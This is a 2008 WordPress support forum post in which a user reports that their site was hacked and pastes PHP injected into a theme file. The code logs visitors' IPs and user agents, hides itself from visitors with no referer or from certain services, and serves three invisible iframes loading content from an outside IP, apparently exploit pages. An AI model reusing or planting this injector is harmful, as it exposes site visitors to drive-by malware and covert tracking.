{"id":755583,"date":"2008-05-02T08:07:43","date_gmt":"2008-05-02T08:07:43","guid":{"rendered":"https:\/\/wordpress.org\/support\/topic\/233-hacked-1\/"},"modified":"2016-08-19T01:00:58","modified_gmt":"2016-08-19T01:00:58","slug":"233-hacked-1","status":"closed","type":"topic","link":"https:\/\/wordpress.org\/support\/topic\/233-hacked-1\/","title":{"rendered":"2.3.3 Hacked"},"content":{"rendered":"<p>I just noticed this in my wp-gm file. I landed on a page from Google and get a nasty surprise. Any help would be appreciated.<\/p>\n<p>&lt;?<br \/>\necho &#8220;&lt;!&#8211; counter &#8211;&gt;&#8221;;<br \/>\n$dat_file=&#8221;images\/z1.txt&#8221;;<br \/>\n$log_file=&#8221;images\/z2.txt&#8221;;<br \/>\n$f=fopen($dat_file,&#8221;r+&#8221;);<br \/>\n$count=fgets($f,100);<br \/>\nfclose($f);<br \/>\n$count=ereg_replace(&#8220;\\n&#8221;,&#8221;&#8221;,$count);<br \/>\n$count++;<br \/>\n$f=fopen($dat_file,&#8221;w&#8221;);<br \/>\nfputs($f,&#8221;$count&#8221;);<br \/>\nfclose($f);<br \/>\n?&gt;<br \/>\n&lt;?<br \/>\n$f=fopen($log_file,&#8221;a+&#8221;);<br \/>\n$ip=getenv(&#8220;REMOTE_ADDR&#8221;);<br \/>\n$ag=getenv(&#8220;HTTP_USER_AGENT&#8221;);<br \/>\n$host=getenv(&#8220;HTTP_REFERER&#8221;);<br \/>\n$data=date(&#8220;d-m-Y&#8221;);<br \/>\n$time=date(&#8220;H:i:s&#8221;);<br \/>\nfputs($f,&#8221;$count#$data#$time#$ip#$ag#$host#\\n&#8221;);<br \/>\nfclose($f);<br \/>\n?&gt;<br \/>\n&lt;?<br \/>\n$expl=1;<br \/>\n$referer = getenv( &#8220;HTTP_REFERER&#8221; );<\/p>\n<p>if (strstr($referer, &#8220;adbrite&#8221;))<br \/>\n{<br \/>\n$expl=2;<br \/>\n}<\/p>\n<p>if (strstr($referer, &#8220;copyscape.com&#8221;))<br \/>\n{<br \/>\n$expl=2;<br \/>\n}<\/p>\n<p>$rlen=strlen($referer);<br \/>\nif ($rlen==0)<br \/>\n{<br \/>\n$expl=2;<br \/>\n}<br \/>\n?&gt;<br \/>\n&lt;?<br \/>\nif($expl!=2)<br \/>\n{<br \/>\necho &#8220;&lt;iframe src=\\&#8221;http:\/\/64.86.135.13\/~craifain\/fonts\/.mp\/index.php\\&#8221; width=0 height=0&gt;&lt;\/iframe&gt;&#8221;;<br \/>\necho &#8220;&lt;iframe src=\\&#8221;http:\/\/64.86.135.13\/~craifain\/fonts\/.ip\\&#8221; width=0 height=0&gt;&lt;\/iframe&gt;&#8221;;<br \/>\necho &#8220;&lt;iframe src=\\&#8221;http:\/\/64.86.135.13\/~craifain\/fonts\/.xc\/top\/\\&#8221; width=0 height=0&gt;&lt;\/iframe&gt;&#8221;;<br \/>\n}<br \/>\n?&gt;<\/p>\n","protected":false},"template":"","class_list":["post-755583","topic","type-topic","status-closed","hentry"],"jetpack_sharing_enabled":true,"_links":{"self":[{"href":"https:\/\/wordpress.org\/support\/wp-json\/wp\/v2\/topic\/755583","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/wordpress.org\/support\/wp-json\/wp\/v2\/topic"}],"about":[{"href":"https:\/\/wordpress.org\/support\/wp-json\/wp\/v2\/types\/topic"}],"version-history":[{"count":0,"href":"https:\/\/wordpress.org\/support\/wp-json\/wp\/v2\/topic\/755583\/revisions"}],"wp:attachment":[{"href":"https:\/\/wordpress.org\/support\/wp-json\/wp\/v2\/media?parent=755583"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}